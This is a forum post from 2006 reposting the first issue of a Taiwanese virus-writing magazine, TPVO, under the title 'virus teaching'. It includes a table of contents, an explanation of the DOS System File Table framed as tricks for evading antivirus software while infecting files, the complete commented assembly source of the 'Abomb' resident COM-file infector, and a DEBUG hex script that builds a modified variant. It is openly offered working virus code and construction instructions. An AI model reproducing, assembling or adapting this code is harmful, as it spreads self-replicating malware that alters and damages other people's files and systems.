| 查看: 640 | 回复: 8 | |||
| 当前主题已经存档。 | |||
w_benz至尊木虫 (著名写手)
|
[交流]
病毒教学
|
||
|
台湾病毒组织TPVO 病毒教学 guojpeng? 病毒教学(一) 编者的话: 台湾病毒界要变天了!我们终于成立了台湾第一个病毒组织─ TPVO。本组织由于最近才刚刚成立,百废俱举,尚未给病毒作者一 个良好的环境,但是本人相信日后TPVO必定会给国内各地病毒作者 广大的沟通管道,不但让大家研究病毒的写作技巧,也吸收世界各 地的病毒数据,更可以和世界各大病毒组织联络、研究。 本期病毒杂志由于初刊没有华丽动人的画面,但是内容不会滥 竽充数的,所以请各位读者放心。 注:本文章有使用中国海字形,若发现文章有怪怪的内码,可以安装本 文章附加的中国海字集。 (将CS-ET.ARJ 的数据解在ET的目录中, 再执行CS-ET.BAT即可。) TPVO-001.000 ......... 杂志目录说明文件 TPVO-001.001 ......... 系统档案表格(SFT) by Dark Slayer TPVO-001.002 ......... 反追踪之技巧 by Zhuge Jin TPVO-001.003 ......... 金蝉 V.S ZLOCK (附:ZOPEN.ASM) by Zhuge Jin TPVO-001.004 ......... 最小的档案型病毒-Cute by Dark Slayer TPVO-001.005 ......... 台湾第一只伴随型病毒(解析) by Dark Slayer TPVO-001.006 ......... 伴随型病毒-Terra'X by Zhuge Jin TPVO-001.007 ......... 一只开机型病毒-NOVA by Zhuge Jin TPVO-001.008 ......... 我的「第一次」- Abomb by Poison Maker TPVO-001.009 ......... 变体引擎写作指南 by Zhuge Jin CS-ET.ARJ ......... 中国海字集 (特别服务没有中国海的读者) 最后,TPVO每一位成员感谢您的赞赏,观看了本期杂志。希望台湾病 毒界以后能走向更开放、自由的境界,为国人拓展一个公开的病毒讨论环 境。并希望大家在阅读本杂志之后,都有所领悟!(啊~多么痛的领悟~) 一、将资料存盘。(只有这些而已喔!) ───────┐ 二、使用DEBUG < FileName.xxx(文件名称) │ 三、即可产生一个执行档案。 │ │ N DS_ABOMB.COM ←┤ E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │ . │ . │ . │ RCX │ 02DD │ W │ Q ←┘ ◎系统档案表格(SFT) ◎ by Dark Slayer of TPVO ========================================================================== 帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用 的功能,以后会介绍的。 取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现 啰,接下来完全要看各人的想象力与创意啰... 我指出几点可以利用到SFT 的地方 ,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧! DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译) 偏移 大小 描述 00h WORD 参考至此档案的 handle 个数 02h WORD 开文件模式 (参考 AH=3Dh,int 21h) 如果此檔是利用FCB 来开档则 bit 15=1 我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此文件,这样可 以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这 招... 04h BYTE 档案属性 (参考 AH=43h,int 21h) 用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏 、可擦写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此 处之值,然后将它设为0,一样有相同的功能喔! 05h WORD 装置信息 (参考 AX=4400h,int 21h) bit 15=1 表是此档为远方 (在网络上) bit 14=1 在关档时不要设定档案的日期及时间 bit 7 1: 设备 device,0: 档案 bit 6 =1 档案尚未被写入 bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...) bit 7=0 时为装置信息 在写入一个档案之前要先保存它的时间和日期吗?不必啰... 感染完之后,在关档 之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。 07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针 否则,此为指向DOS 磁盘参数区块 (DPB) 之指标 (参考 AH=32h,int 21h) Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知 此磁盘的一个cluster 有几个扇区(sector),再拿档案长度来算即可得知如何取得 这些资料呢?当然是从DPB 啰... 0Bh WORD 档案的启始丛集 (cluster) 0Dh WORD 档案时间 (参考 AH=57h,int 21h) 0Fh WORD 档案日期 (参考 AH=57h,int 21h) 不须用AH=57h一样可以得到档案时间与日期 11h DWORD 档案大小 不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小 15h DWORD 档案读写指标 (参考 AH=42h,int 21h) 直接更改这边的值和用AH=42h int 21h效果是一样的 19h WORD 最后一次存取的 cluster 之相对 cluster 编号 1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写) 1Fh BYTE 一个扇区中,可容纳的目录个数 20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以 空白 space (ASCII code 20h) 补足 2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标 ============================================================================ ABOMB SEGMENT ; Writton By Poison Maker of TPVO ASSUME CS:ABOMB,DS:ABOMB ORG 0h START: CALL $+3 ; 得到病毒程序开头的区段位置 POP SI SUB SI,3 MOV DI,100h ; 将DI设为100h,并且堆栈起来 PUSH DI MOV AH,99h ; 判断INT 21h是否已经拦下来了 INT 21h CMP AH,66h JNZ INSTALL ADD SI,OFFSET FILE_DATA ; 将原来的程序开头恢复 MOV CX,5 ; 并且返回执行 REP MOVSB XOR SI,SI XOR DI,DI XOR CX,CX XOR BX,BX XOR AX,AX RET INSTALL: MOV AH,52h ; 得到内存控制区段的起启位置 INT 21h MOV BX,WORD PTR ES:[BX-2] LOOP_1: MOV ES,BX ; 记录内存控制区段的最后位置 ADD BX,ES:[3] ; INC BX ; 4Dh代表下面还有内存区段 CMP BYTE PTR ES:[0],5Ah ; 5Ah代表已经是最后一个 JNZ LOOP_1 MOV AX,ES MOV ES,BX CMP BYTE PTR ES:[0],4Dh JZ LOOP_2 MOV ES,AX JMP OVER LOOP_2: MOV ES,BX ADD BX,WORD PTR ES:[3] INC BX CMP BYTE PTR ES:[0],4Dh JZ LOOP_2 OVER: MOV BX,ES:[3] ; 将最后一个区段的内存剩余的长度 MOV AX,OFFSET POISON_END+0Fh ; 减少病毒程序的长度(单位16Bytes) MOV CL,4 ; 并且将病毒本身复制一份到那里。 SHR AX,CL SUB BX,AX MOV ES:[3],BX MOV AX,ES ADD BX,AX XOR DI,DI MOV ES,BX MOV CX,OFFSET POISON_END REP MOVSB PUSH ES POP DS MOV AX,3521h ; 拦下INT 21h INT 21h MOV WORD PTR DS:OLD21_I,BX MOV WORD PTR DS:OLD21_C,ES MOV AH,25h MOV DX,OFFSET INT21 INT 21h PUSH CS ; 恢复DS,ES,并且返回主程序 PUSH CS POP DS POP ES OVER1: RET INT21: ; 拦到的INT 21h起启位置 CMP AH,99h JNZ I1 ; 判断AH是否为99h MOV AH,66h ; 是则将AH改为66h IRET ; 并且返回原程序 I1: CMP AH,3Dh ; 判断是否使用AH,3Dh功能 JNZ I2 JMP AH_3D I2: CMP AH,3Eh ; 判断是否使用AH,3Eh功能 JNZ I3 JMP AH_3E I3: CMP AX,4B00h ; 判断是否使用AX,4B00h功能 JNZ EXIT_21 JMP AX_4B00 EXIT_21: DB 0EAh OLD21_I DW ? ; 真正的INT 21h的位置 OLD21_C DW ? AX_4B00: ;拦AX,4B00h的执行档案功能 PUSH AX ; 堆栈 AX,BX,CX,DX,ES,DS PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH DX ;将档案属性保存 PUSH DS MOV AX,4300h CALL I21 PUSH CX MOV AX,3D02h ;开档 CALL I21 JB FILE_OVER XCHG BX,AX PUSH CS ;将DS设为现在(CS)的位置 POP DS MOV AH,3Fh ;读取档案开头的5 Bytes MOV CX,5 MOV DX,OFFSET DS:FILE_DATA CALL I21 MOV AX,WORD PTR DS:FILE_DATA ;判断是否为EXE 檔 ADD AL,AH ;已经感染的档案 CMP AL,'M'+'Z' ;是则跳到关文件的位置 JZ FILE_END CMP WORD PTR DS:FILE_DATA[3],'MP' JZ FILE_END MOV AX,5700h ; 将原来的时间保存 CALL I21 PUSH CX PUSH DX MOV AX,4202h ; 将读写指标设为档案后面 XOR CX,CX XOR DX,DX CALL I21 SUB AX,3 ; 将档案长度减3(即是JMP xxxx MOV WORD PTR DS:START_DATA[1],AX ; 的位置)保存。 MOV AH,40h ;写入病毒程序 MOV CX,OFFSET POISON_END CALL I21 MOV AX,4200h ; 将读写指标设为档案开头 XOR CX,CX XOR DX,DX CALL I21 MOV AH,40h ; 写入资料(JMP xxxx PM) MOV CL,5 ; ^^^^^^^^^ ^^^ MOV DX,OFFSET DS:START_DATA ; 跳到病毒开始 档案标记 CALL I21 POP DX ; 恢复原来的写档日期 POP CX MOV AX,5701h CALL I21 FILE_END: MOV AH,3Eh ; 关闭档案 CALL I21 FILE_OVER: POP CX ;将档案属性恢复 POP DS POP DX MOV AX,4301h CALL I21 POP DS ;取回原来的 DS,ES,DX,CX,BX,AX POP ES POP DX POP CX POP BX POP AX JMP EXIT_21 ;执行真正的INT 21h AH_3D: ;开文件功能 PUSH BX ; 保存BX MOV BX,DX ; 寻找文件名称是否有.COM MOV BYTE PTR CS:MARK,0 ; 如果有.COM时 MARK = 1 DEC BX SCAN_NAME: INC BX CMP BYTE PTR DS:[BX],0h JNZ SCAN_NAME SUB BX,2 CMP WORD PTR DS:[BX],'MO' JNZ RUN_3D SUB BX,2 CMP WORD PTR DS:[BX],'C.' JNZ RUN_3D MOV BYTE PTR CS:MARK,1 RUN_3D: POP BX ; 恢复BX MOV AX,3D02h ; 开档 CALL I21 JNC RUN3D_1 ;判断开档是否有错误 JMP EXIT_3D RUN3D_1: PUSHF PUSH BX CMP BYTE PTR CS:MARK,1 ;判断MARK=1 JZ RUN3D_2 JMP EXIT_MARK RUN3D_2: XOR BX,BX ; 将档案代号存入 DEC BX F_N: INC BX CMP WORD PTR CS:F_NUMBER[BX],0 JZ F_N1 CMP BX,5 JNZ F_N JMP EXIT_MARK F_N1: MOV WORD PTR CS:F_NUMBER[BX],AX PUSH AX ; 保存AX,CX,DX,DS,ES PUSH CX PUSH DX PUSH DS PUSH ES XCHG BX,AX MOV AX,5700h ; 保存写档日期 CALL I21 PUSH CX PUSH DX PUSH CS ; 将DS设为现在的区段(CS) POP DS MOV AH,3Fh ; 读取档头的5 Bytes MOV CX,5 MOV DX,OFFSET FILE_DATA CALL I21 CMP WORD PTR DS:FILE_DATA[3],'MP' ;判断是否有档案标记 JNZ OVER_SCAN ; 如果有标记,则将档案恢复原来的程序内容 MOV AX,WORD PTR DS:FILE_DATA[1] ; 读取档案的长度,并且堆栈 ADD AX,3 PUSH AX MOV AX,4202h ; 将读写指标设到档案最后的5 Bytes MOV CX,0FFFFh MOV DH,0FFh MOV DL,11111011b CALL I21 MOV AH,3Fh ; 读取出来 MOV CX,5 MOV DX,OFFSET FILE_DATA CALL I21 MOV AX,4200h ; 将读写指标设到档头 XOR CX,CX XOR DX,DX CALL I21 MOV AH,40h ; 将原程序的数据写入 MOV CX,5 MOV DX,OFFSET FILE_DATA CALL I21 MOV AX,4200h ; 将读写指针设为原程序的最后 XOR CX,CX POP DX CALL I21 MOV AH,40h ; 写入0 Byte XOR CX,CX CALL I21 OVER_SCAN: MOV AX,4200h ; 将读写指标恢复到开头 XOR CX,CX XOR DX,DX CALL I21 POP DX ; 恢复原来的写档日期 POP CX MOV AX,5701h CALL I21 POP ES ; 恢复原来的ES,DS,DX,CX,AX POP DS POP DX POP CX POP AX EXIT_MARK: POP BX POPF EXIT_3D: RETF 2 ; 返回原来呼叫INT 21h的位置 AH_3E: ; 关文件的功能 PUSH BX ;保存BX,DX PUSH DX XCHG DX,BX ;判断所关文件的档案代号是否已标记 XOR BX,BX DEC BX L_NUMBER: INC BX CMP CS:F_NUMBER[BX],DX JZ COM_FILE CMP BX,5 JNZ L_NUMBER POP DX POP BX MOV AH,3Eh JMP EXIT_21 COM_file: MOV CS:F_NUMBER[BX],0 ; 将标记的档案代号消除 POP DX ; 恢复DX,BX POP BX PUSH DS ; 保存 DS PUSH BX ; 保存 BX MOV AH,45h ; 复制一个档案代号 CALL I21 PUSH AX ; 将旧的档案代号关闭 POP BX MOV AH,3Eh CALL I21 POP BX PUSH CS ; 将DS设为CS POP DS MOV AX,5700h ; 保存原来的写档日期 CALL I21 PUSH CX PUSH DX MOV AX,4200h ; 将读写指标设为档头 XOR CX,CX XOR DX,DX CALL I21 MOV AH,3Fh ;读取档案的 5 Bytes MOV CX,5 MOV DX,OFFSET FILE_DATA CALL I21 CMP WORD PTR DS:FILE_DATA,'MP' ; 判断是否档案已标记 JZ EXIT_3E MOV AX,4202h ; 将读写指标设为档尾 XOR CX,CX XOR DX,DX CALL I21 SUB AX,3 ;保存(JMP xxxx)病毒开头的长度 MOV WORD PTR DS:START_DATA[1],AX MOV AH,40h ; 将病毒程序写入文件尾 MOV CX,OFFSET POISON_END XOR DX,DX CALL I21 MOV AX,4200h ; 将读写指标设为档头 XOR CX,CX XOR DX,DX CALL I21 MOV AH,40h ; 写入 ( JMP xxxx PM)的资料 MOV CX,5 MOV DX,OFFSET START_DATA CALL I21 POP DX ; 恢复原来的写档日期 POP CX MOV AX,5701h CALL I21 EXIT_3E: MOV AH,3Eh ; 关档和恢复 DS POP DS JMP EXIT_21 I21 PROC NEAR ; 此为 呼叫真正的INT 21h的子程序 PUSHF CALL DWORD PTR CS:EXIT_21 RET I21 ENDP F_NUMBER DW 5 DUP(?) ; 储存档案代号 MARK DB 0 ; 标记是否COM文件 START_DATA DB 0E9h,?,?,'P','M' ; 档案开的数据 FILE_DATA DB 0CDh,20h,?,?,? ; 原程序的数据 POISON_END: ABOMB ENDS END START ========================================================================== ================== Dark Slayer 改版的Abomb Virus ========================= N DS_ABOMB.COM E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 E0110 FC 3D 66 4B 75 14 81 C6 D8 02 B9 05 00 F3 A4 33 E0120 F6 33 FF 33 C9 33 DB 33 C0 C3 B4 52 CD 21 26 8E E0130 47 FE 26 A0 00 00 3C 4D 74 04 3C 5A 75 0D 8C C3 E0140 26 A1 03 00 03 C3 40 8E C0 EB E7 8E C3 B8 EC 02 E0150 B1 04 D3 E8 26 29 06 03 00 26 03 1E 03 00 43 33 E0160 FF 8E C3 B9 DD 02 F3 A4 06 1F B4 52 CD 21 B8 80 E0170 FC 26 8E 06 96 00 33 FF 47 4F AF 75 FC 26 80 3D E0180 33 74 06 26 80 3D 51 75 F0 B9 25 00 8B DF 4F AF E0190 E0 FC E3 04 8B DF EB F6 83 C3 03 89 1E 22 01 8C E01A0 06 24 01 8C 06 C7 02 8C 06 CC 02 26 8A 07 A2 CE E01B0 02 26 8B 47 01 A3 CF 02 26 8B 47 03 A3 D1 02 8B E01C0 FB B0 EA AA B8 FC 00 AB 8C D8 AB B8 FC 0A 4F AF E01D0 75 FC 26 81 3D E4 74 75 F5 83 C7 03 89 3E C5 02 E01E0 26 8A 45 FF 98 03 C7 A3 CA 02 83 EF 05 B0 EA AA E01F0 B8 AB 02 AB 8C D8 AB 0E 0E 1F 07 C3 FC 3D 99 4B E0200 75 04 B8 66 4B CF 80 FC 3D 75 03 E8 2E 00 80 FC E0210 3E 75 03 E8 B7 00 3D 00 4B 75 03 E8 08 00 E8 71 E0220 01 EA 00 00 00 00 50 53 B8 00 3D E8 5B 01 72 09 E0230 93 E8 99 00 B4 3E E8 50 01 5B 58 C3 50 53 51 52 E0240 1E 06 57 B8 00 3D E8 40 01 72 7A 93 0E 1F B4 3F E0250 B9 05 00 BA D8 02 E8 30 01 81 3E DB 02 50 4D 75 E0260 5F 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD 2F 5B E0270 26 C6 45 02 02 26 FF 75 03 26 C6 45 04 00 26 8B E0280 45 11 2D 05 00 26 89 45 15 B4 3F B9 05 00 BA D8 E0290 02 E8 F5 00 26 C7 45 15 00 00 B4 40 B9 05 00 BA E02A0 D8 02 E8 E4 00 26 8B 45 11 2D DD 02 26 89 45 15 E02B0 B4 40 33 C9 E8 D2 00 26 8F 45 03 26 80 4D 06 40 E02C0 B4 3E E8 C4 00 5F 07 1F 5A 59 5B 58 C3 50 53 51 E02D0 52 1E 06 57 0E 1F 53 B4 45 E8 AD 00 93 B4 3E E8 E02E0 A7 00 5B 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD E02F0 2F 5B 33 C9 26 81 7D 28 43 4F 75 05 26 80 7D 2A E0300 4D 75 04 26 39 4D 13 75 14 26 8B 45 11 3D 05 00 E0310 72 6F 3D 00 F8 77 6A 26 8A 45 04 A8 04 75 62 50 E0320 26 88 4D 04 26 C6 45 02 02 26 8B 45 11 2D 03 00 E0330 A3 D4 02 26 89 4D 15 26 89 4D 17 B4 3F B1 05 BA E0340 D8 02 E8 44 00 81 3E DB 02 50 4D 74 2F A1 D8 02 E0350 02 C4 3C A7 74 26 33 C9 26 89 4D 15 B4 40 B1 05 E0360 BA D3 02 E8 23 00 26 8B 45 11 26 89 45 15 B4 40 E0370 B9 DD 02 99 E8 12 00 26 80 4D 06 40 58 26 88 45 E0380 04 5F 07 1F 5A 59 5B 58 C3 E8 06 00 9C 0E E8 90 E0390 FE C3 51 1E 06 56 57 0E 1F BE CE 02 C4 3E 22 01 E03A0 B9 05 00 F3 A4 5F 5E 07 1F 59 C3 50 06 57 2E C4 E03B0 3E 22 01 B0 EA AA B8 FC 00 AB 8C C8 AB 5F 07 58 E03C0 0A E4 74 05 EA 00 00 00 00 EA 00 00 00 00 00 00 E03D0 00 00 00 E9 00 00 50 4D CD 20 00 00 00 RCX 02DD W Q(待续) 书在我的共享邮箱里: w_benz@56.com 要是好大家就赏两个金币啊,急用,谢谢!!!! |
» 猜你喜欢
拟解决的关键科学问题还要不要写
已经有7人回复
最失望的一年
已经有3人回复
存款400万可以在学校里躺平吗
已经有20人回复
国自然申请面上模板最新2026版出了吗?
已经有19人回复
请教限项目规定
已经有3人回复
基金委咋了?2026年的指南还没有出来?
已经有10人回复
基金申报
已经有6人回复
推荐一本书
已经有13人回复
疑惑?
已经有5人回复
溴的反应液脱色
已经有7人回复

w_benz
至尊木虫 (著名写手)
- 应助: 0 (幼儿园)
- 金币: 15823.5
- 红花: 24
- 帖子: 1580
- 在线: 359.5小时
- 虫号: 153339
- 注册: 2006-01-02
- 专业: 社会人类学

2楼2006-05-03 00:21:16
zhanglei02
木虫 (小有名气)
- 应助: 2 (幼儿园)
- 金币: 3495
- 散金: 20
- 红花: 1
- 帖子: 218
- 在线: 237.6小时
- 虫号: 246577
- 注册: 2006-04-30
- 性别: GG
- 专业: 无机非金属类电介质与电解
3楼2006-05-03 07:44:04
w_benz
至尊木虫 (著名写手)
- 应助: 0 (幼儿园)
- 金币: 15823.5
- 红花: 24
- 帖子: 1580
- 在线: 359.5小时
- 虫号: 153339
- 注册: 2006-01-02
- 专业: 社会人类学

4楼2006-05-04 12:26:57

5楼2006-05-04 16:29:19
![]() |
6楼2006-05-04 17:43:35
7楼2006-05-04 22:26:46
chinaxiao112
金虫 (小有名气)
- 应助: 0 (幼儿园)
- 金币: 1033.9
- 帖子: 225
- 在线: 14.4小时
- 虫号: 246923
- 注册: 2006-04-30
- 性别: GG
- 专业: 药物分析
8楼2006-05-05 08:37:49
9楼2006-11-07 10:00:49













回复此楼
